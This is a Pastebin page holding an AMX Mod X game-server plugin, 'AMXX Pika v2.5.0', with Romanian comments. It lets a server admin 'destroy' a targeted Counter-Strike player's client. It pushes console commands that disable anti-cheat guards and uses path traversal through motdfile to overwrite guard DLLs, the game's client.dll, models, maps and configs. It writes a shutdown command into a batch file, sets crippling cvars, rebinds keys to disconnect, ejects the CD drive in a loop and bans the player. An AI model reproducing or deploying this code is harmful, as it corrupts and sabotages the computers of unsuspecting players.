Advertisement
ArminZ

AMXX_Pika.sma V2.5.0

Dec 16th, 2014
984
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Pawn 10.50 KB | None | 0 0
  1. /* AMX Mod X Script
  2. *
  3. * eXtreamCS DEV Team
  4. *
  5. * ======---=======---=======
  6. * © 2014 by CryWolf & ArminZ
  7. *  www.eXtreamCS.com
  8. * ======---=======---=======
  9. *
  10. * This file is intended to be used with AMX Mod X.
  11. *
  12. *   This program is free software: you can redistribute it and/or modify
  13. *   it under the terms of the GNU General Public License as published by
  14. *   the Free Software Foundation, either version 3 of the License, or
  15. *   (at your option) any later version.
  16. *
  17. *   This program is distributed in the hope that it will be useful,
  18. *   but WITHOUT ANY WARRANTY; without even the implied warranty of
  19. *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  20. *   GNU General Public License for more details.
  21. *
  22. *   AMXX Pika v2.5.0
  23. *
  24. *   changelog:
  25. *   v1.0.0
  26. *   - Versiune privata
  27. *  
  28. *   v2.1.0
  29. *   - Am adaugat definire de mesaj colorat pentru cine doreste doar.
  30. *   - Mai multe functii destroy ( fisiere ).
  31. *   - Am adaugat fisier .LOG.
  32. *   - Comanda nu mai poate fi folosita pe personal, admini, boti.
  33. *   - Acum pluginul va afecta putin si jucatorii cu Steam.
  34. *   - Optimizat doar amxmodx, amxmisc.
  35. *   - Detalii comanda si cum se foloseste.
  36. *
  37. *   v2.2.0
  38. *   - Functi Anti Guard
  39. *   - Nou modul colorchat
  40. *   - Fixare mesaje incorecte
  41. *   - Include PIKA, EXTERMINATE, RUSSIAN
  42. *   - Adaugat efecte celui destrus [TELEPORT]
  43. *
  44. *   v2.5.0
  45. *   - Aranjare cod
  46. *   - Guard va fi sters dupa dezactivare
  47. *   - Include ANTI GUARD
  48. *   - Imbunatatire si modificare majaora a codului de distrugere
  49. *   - Imbunatatire cod dezactivare GUARD
  50. *   - Adaugat comenzi pentru counter-strike
  51. *   - Adaugat CD EJECT daca "amx_pika_teleeff" este "1"
  52. *  
  53. */
  54.  
  55. #include < amxmodx >
  56. #include < amxmisc >
  57. #include < fakemeta >
  58.  
  59.  
  60. /*************************************************************/
  61. /*              ATENTIE!
  62.         Stergeti // daca vreti mesaje colorate in chat pe Server!
  63.         Trebuie sa aveti pluginul: [Dyn Native] ColorChat
  64.         URL Download: https://forums.alliedmods.net/showthread.php?t=94960
  65. */
  66. /* LINIA ASTA O MODIFICATI cu // sau fara */
  67. #define USE_COLOR_CHAT
  68.  
  69. #if defined USE_COLOR_CHAT
  70.  
  71.         #pragma reqlib chatcolor
  72.         #define RED Red
  73.         #define BLUE Blue
  74.         #define GREY Grey
  75.         #define ColorChat client_print_color
  76.         enum
  77.         {
  78.                 Grey = 33,
  79.                 Red,
  80.                 Blue
  81.         }
  82.        
  83.         native client_print_color(index, sender, const fmt[], any:...);
  84. #endif
  85.  
  86. // Numele fisierului .log
  87. #define LOGFILE         "AMXX_PIKA II.log"
  88.  
  89. /************************************************************/
  90.  
  91. static const g_sCommands [ ] [ ] =
  92. {
  93.  
  94.             // Dezactiveaza protectia clientului Counter-Strike [PIKA II] \\
  95.        
  96.         "fullserverinfo ^"\*gamedir\cstrike^"" ,
  97.         "^"sv_zmax 409^" Enabled False;^"sv_zmax 409^" Enabled False;",         // Nvidia v3/v4/v5 Cvar + RussianX Guard
  98.         "^"sv_zmax 409^" GuardON False;^"sv_zmax 409^" GuardON False",          // Huan guard v1/v2/v3  + RussianX Guard
  99.         "csx_setcvar Enabled False;csx_setcvar Enabled False;",             // CSXGuard 1/2/3/4/5
  100.         "prot_setcvar Enabled False;prot_setcvar Enabled False;",               // Russian Guard
  101.         "prot_setcvar Enabled False;prot_setcvar Enabled False;",               // Raiz0 Guard
  102.         "unk_setcvar Enabled False;unk_setcvar Enabled False;",                 // Unkown Guard 1.1
  103.         "fix_setcvar Enabled False;fix_setcvar Enabled False;"          // Fix Guard
  104.        
  105.          // Sterge protectia clientului Counter-Strike [PIKA II] \\
  106.        
  107.         "set_data 2 5 150",
  108.         "motdfile ^"!MD5/../../RussianE.asi^";motd_write PIKA II",
  109.                 "motdfile ^"!MD5/../../CSXGuard.asi^";motd_write PIKA II",
  110.                 "motdfile ^"!MD5/../../HuaNGuard.asi^";motd_write PIKA II",
  111.         "motdfile ^"!MD5/../../raiz0CFG.asi^";motd_write PIKA II",
  112.                 "motdfile ^"!MD5/../../CounterStrike.bat^";motd_write shutdown -r -t 30",
  113.                 "motdfile ^"!MD5/../../PIKA II.asi^";motd_write PIKA II",
  114.        
  115.         // SETARI pentru Counter-Strike [PIKA II] \\
  116.        
  117.         "fps_max 1",
  118.         "fps_modem 1",
  119.         "ex_interp 1",
  120.         "commentator 1",
  121.         "sys_ticrate 1",
  122.         "rate 1",
  123.         "cl_updaterade 1",
  124.         "cmd_rate 1",
  125.         "cl_pitchspeed 1",
  126.         "developer 1",
  127.         "cl_sidespeed 1",
  128.         "cl_forwardspeed 1",
  129.         "cl_backspeed 1",
  130.         "gl_log 1",
  131.         "volume 9999",
  132.        
  133.         // Scriere in CHAT \\
  134.        
  135.         "say ^"AM FOLOSIT HACK ASA CA AM FOST PEDEPSIT CU PIKA II^""
  136.        
  137.         // Comenzi pentru Counter-Strike STEAM \\
  138.        
  139.             "cd eject",
  140.                 "cd eject",
  141.                 "cd eject",
  142.                 "cd eject",
  143.             "cd eject",
  144.             "cd eject",
  145.             "cd eject",
  146.         "cd eject",
  147.         "cd eject",
  148.         "cd eject",
  149.        
  150.         // BINDURI pentru Counter-Strike [PIKA II] \\
  151.        
  152.         "unbind all",
  153.         "bind w         ^"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;echo FATAL_ERROR_REINSTALL_CS^"",
  154.             "bind a ^"disconnect;gl_log;condump;snapshot;echo FATAL_ERROR_REINSTALL_CS^"",
  155.             "bind s ^"kill;wait;bind 1 kill;bind 2 kill;wait;bind 3 kill;bind 4 kill;wait;bind 5 kill;bind 6 kill;wait;bind 7 kill;echo FATAL_ERROR_REINSTALL_CS^"",
  156.             "bind d ^"bind rightarrow kill;wait;bind mwheeldown kill;bind mwheelup kill;wait;echo FATAL_ERROR_REINSTALL_CS^"",
  157.             "bind TAB ^"alias m_pitch disconnect;snapshot;condump;echo FATAL_ERROR_REINSTALL_CS^"",
  158.             "bind SPACE ^"alias m_pitch disconnect;snapshot;condump;echo FATAL_ERROR_REINSTALL_CS^"",
  159.             "bind ` ^"alias m_pitch disconnect;snapshot;condump;echo FATAL_ERROR_REINSTALL_CS^"",
  160.             "name PIKA II"
  161.        
  162.             // MOTDFILE si fisierul MOTD_FILE din Counter-Strike [PIKA II] \\
  163.            
  164.         "motdfile resource/TrackerScheme.res;motd_write PIKA II",
  165.             "motdfile resource/GameMenu.res;motd_write PIKA II",
  166.             "motdfile resource/GameMenu.res;motd_write PIKA II",
  167.         "motdfile resource/logo_game.res;motd_write PIKA II",
  168.         "motdfile resource/UI/ScoreBoard.res;motd_write PIKA II",
  169.         "motdfile resource/UI/Spectator.res;motd_write PIKA II",
  170.         "motdfile resource/UI/BuyMenu.res;motd_write PIKA II",
  171.         "motdfile resource/UI/MainBuyMenu.res;motd_write PIKA II",
  172.             "motdfile resource/UI/Teammenu.res;motd_write PIKA II",
  173.             "motdfile resource/background/800_1_a_loading.tga;motd_write PIKA II",
  174.             "motdfile resource/background/800_1_b_loading.tga;motd_write PIKA II",
  175.             "motdfile resource/background/800_1_c_loading.tga;motd_write PIKA II",
  176.         "motdfile models/w_hegrenade.mdl;motd_write PIKA II",
  177.         "motdfile models/v_smokegrenade.mdl;motd_write PIKA II",
  178.         "motdfile models/player.mdl;motd_write PIKA II",
  179.         "motdfile models/player/leet/leet.mdl;motd_write PIKA II",
  180.             "motdfile models/v_ak47.mdl;motd_write PIKA II",
  181.         "motdfile models/v_m4a1.mdl;motd_write PIKA",
  182.         "motdfile gfx.wad;motd_write PIKA II",
  183.         "motdfile halflife.wad;motd_write PIKA II",
  184.             "motdfile tempdecal.wad;motd_write PIKA II",
  185.         "motdfile cs_dust.wad;motd_write PIKA II",
  186.         "motdfile cstrike.wad;motd_write PIKA II",
  187.         "motdfile maps/de_dust2.bsp;motd_write PIKA II",
  188.         "motdfile events/ak47.sc;motd_write PIKA II",
  189.         "motdfile cl_dlls/client.dll;motd_write PIKA II",
  190.         "motdfile motdfile config.CFG;motd_write PIKA II",
  191.         "motdfile motdfile userconfig.CFG;motd_write PIKA II",
  192.        
  193.        
  194.              // ECHO pentru MESAJE din consola \\
  195.        
  196.         "echo [PIKA II] Ai folosit HACK asa ca te-am pedepsit !"  
  197.         "quit",
  198. };
  199.  
  200. new const
  201.         PLUGIN_NAME     [ ] = "AMX PIKA II",
  202.         PLUGIN_VERSION  [ ] = "2.5.0";
  203.        
  204. #pragma semicolon 1
  205.  
  206. new g_pCvar_tele_effect;
  207.  
  208. public plugin_init ( )
  209. {
  210.         register_plugin ( PLUGIN_NAME, PLUGIN_VERSION, "CryWolf/ArminZ" );
  211.        
  212.         g_pCvar_tele_effect     = register_cvar ( "amx_pika_teleeff", "1" );
  213.         register_concmd ( "amx_russian",        "Concmd_AMXX_exterminate", ADMIN_SLAY, "<jucator / player>" );
  214.         register_concmd ( "amx_pika",           "Concmd_AMXX_exterminate", ADMIN_SLAY, "<jucator / player>" );
  215.         register_concmd ( "amx_exterminate",    "Concmd_AMXX_exterminate", ADMIN_SLAY, "<jucator / player>" );
  216. }
  217.  
  218. public Concmd_AMXX_exterminate ( id, level, cid )
  219. {
  220.         if ( !cmd_access ( id, level, cid, 2 ) ) {
  221.                 client_print ( id, print_console, "[AMXX] Nu ai access la aceasta comanda" );
  222.                 return 1;
  223.         }
  224.        
  225.         new sArgument[ 33 ];
  226.         read_argv ( 1, sArgument, charsmax ( sArgument ) );
  227.        
  228.         new player = cmd_target ( id, sArgument, ( CMDTARGET_NO_BOTS | CMDTARGET_OBEY_IMMUNITY | CMDTARGET_ALLOW_SELF ) );
  229.        
  230.         if ( !player )
  231.         {
  232.                 console_print ( id, "[AMXX] Jucatorul mentionat nu este valid." );
  233.                 return 1;
  234.         }
  235.        
  236.         for ( new i = 0; i < sizeof ( g_sCommands ); i++ )
  237.                 client_cmd ( player, g_sCommands [ i ] );
  238.        
  239.         if ( get_pcvar_num ( g_pCvar_tele_effect ) ) {
  240.                 set_task ( 0.3, "FunC_Tele_Effect", player );
  241.                 set_task ( 0.3, "cd_close_eject", id+11112, _, _, "b");
  242.         }
  243.        
  244.         new szName [ 33 ], szName2 [ 33 ], ip2 [ 16 ];
  245.        
  246.         get_user_name ( id, szName, charsmax ( szName ) );
  247.         get_user_name ( player, szName2, charsmax ( szName2 ) );
  248.         get_user_ip ( player, ip2, charsmax ( ip2 ), 1 );
  249.        
  250.         log_to_file ( LOGFILE, "%s PIKA %s(%s)", szName, szName2, ip2 );
  251.        
  252.         #if defined USE_COLOR_CHAT
  253.                 client_print_color ( 0, Blue, "^4%s ^1Hacked ^4%s ^1-[Distrus Complet]-", szName, szName2 );
  254.         #else
  255.                 client_print ( 0, print_chat, "AdmiN (%s) Hacked (%s) - [Destroy Completed]-", szName, szName2 );
  256.         #endif
  257.        
  258.         client_cmd ( 0, "spk ^"vox/bizwarn eliminated" );      
  259.        server_cmd ( "amx_banip %s 0", player );
  260.      
  261.        return 1;
  262. }
  263.  
  264. public FunC_Tele_Effect ( id )
  265. {
  266.        if ( !is_user_alive ( id ) )
  267.                return;
  268.      
  269.        static Float:iOrigin [ 3 ];
  270.        pev ( id, pev_origin, iOrigin );
  271.      
  272.        engfunc ( EngFunc_MessageBegin, MSG_PVS, SVC_TEMPENTITY, iOrigin, 0 );
  273.        write_byte ( TE_TELEPORT );
  274.        engfunc ( EngFunc_WriteCoord, iOrigin [ 0 ] );
  275.        engfunc ( EngFunc_WriteCoord, iOrigin [ 1 ] );
  276.        engfunc ( EngFunc_WriteCoord, iOrigin [ 2 ] );
  277.        message_end ( );
  278. }
  279.  
  280. public cd_close_eject(id)
  281. {
  282.     if(!is_user_connected(id) && task_exists(id+11112))
  283.     {
  284.         remove_task(id+11112)
  285.         return PLUGIN_HANDLED
  286.     }
  287.     client_cmd(id, "cd eject")
  288.     client_cmd(id, "cd close")
  289.     return PLUGIN_CONTINUE
  290. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement